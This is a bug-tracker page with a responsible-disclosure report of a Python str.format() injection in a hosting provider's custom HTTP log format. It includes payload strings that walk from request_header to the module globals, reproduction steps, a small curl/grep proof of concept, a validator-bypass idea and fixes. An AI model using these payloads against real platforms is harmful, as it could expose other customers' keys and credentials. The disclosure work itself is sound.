All Projects

ID Status Summary Opened by
 564 Closed Python format-string injection in custom HTTP log forma ...bl4ckf1sh Task Description

Severity: High (CVSS 3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N = 7.7). Potentially Critical by worst-case exploitation (read of proxy module globals).
Asset: https://admin.alwaysdata.com → shared HTTP proxy writing ~/admin/logs/http/
Endpoint: POST /site/<id>/ (fields log_type=CUSTOM, log_file, log_format). Same fields exist in the API: PATCH https://api.alwaysdata.com/v1/site/<id>/
Tested on: my own free account (bl4ckf1sha), my own site #1108777, 22 Nov 2026 (re-verified the same day, all outputs below reproduced).

## Summary
The Customized HTTP log format (Web > Sites > [site] > Logs) is rendered by the shared HTTP proxy with Python str.format(). str.format() allows attribute and index access inside placeholders ({obj.attr}, {obj[key]}). Any customer can walk the object graph inside the proxy process, and the result is written to their own access log, which they can read in the admin.
request_header is an instance of the proxy's own Python class core.message.Headers (a subclass of h2o.H2oHeaders). Its format is a Python bound method, so {request_header.format.globals[NAME]} gives read access to any global of the proxy module core.message: imported modules, configuration, os.environ, and secrets kept in memory by a component that serves every customer.
I stopped at proof, as the program rules require. I did not read any global value, configuration, environment variable or other internal data.

## Steps to reproduce (own site only)
1. admin.alwaysdata.com > Web > Sites > edit your site > Logs: Type = Customized, File name = bl4cklog, Format = bl4ck A={completion_date.year} B={completion_date.class} C={request_method.class}. Submit (it is accepted).
2. curl -s -o /dev/null https://<account>.alwaysdata.net/
3. Logs > HTTP requests (/site/<id>/logs/?type=http), or over SSH: grep -rh bl4ck ~/admin/logs/http/. Result: bl4ck A=2026 B=<class 'datetime.datetime'> C=<class 'str'> (attribute traversal is evaluated by the proxy).
4. Format = bl4ck3 R={request_header.class} M={request_header.class.module}. Result: R=<class 'core.message.Headers'> M=core.message
5. Format = bl4ck4 MRO={request_header.class.mro}. Result: MRO=(<class 'core.message.Headers'>, <class 'h2o.H2oHeaders'>, <class 'object'>)
6. Format = bl4ck5 Q={request_header.format.qualname} T={request_header.format.class} M={request_header.format.module}. Result: Q=Headers.format T=<class 'method'> M=core.message. A Python-level bound method of the proxy is reachable; in CPython its globals is the module's global dict.
7. Clean up: set Type back to Advanced and clear File name and Format.

PoC (attached logformat_poc.sh): ACC=<account>; curl -s -o /dev/null https://$ACC.alwaysdata.net/?poc=1; sleep 5; grep -rh bl4ck /home/$ACC/admin/logs/http/ | tail -n 2

## Note on the admin validator
A format containing globals is refused at save time with 'Invalid format'. The admin appears to test-render the format with its own sample values, whose types differ from the objects the proxy uses at runtime. This is not a security boundary: the real runtime objects differ from those samples (steps 4-6 pass validation and expose proxy internals), and the same log_format field can be set through the API (PATCH /v1/site/<id>/), which may not apply the same check. I could not test the API because token creation requires 2FA. I did not try any other bypass.

## Impact
A free account can make the shared HTTP proxy evaluate attacker-controlled attribute lookups and return the results through the normal log viewer. Following the standard chain (bound method > globals > modules > os.environ and configuration), an attacker could read secrets of the core platform component that handles all customer traffic. Depending on what it holds, this could include TLS private keys of other customers, internal credentials or tokens. This matches the Critical category ('accessing in read mode the core platform architecture'). Only the evaluation and the reachable path are shown here. No data was read.

## Fix
- Do not render user templates with str.format() or format_map(). Allow only the documented variable names with an optional format spec, and reject any '.' or '[' in the field name. Alternatively override string.Formatter.get_field() to forbid attribute and index access.
- Pass plain str or int values to the renderer, never internal objects (core.message.Headers).
- Apply the same check in the admin validator and in the API.

Showing tasks 1 - 1 of 1 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing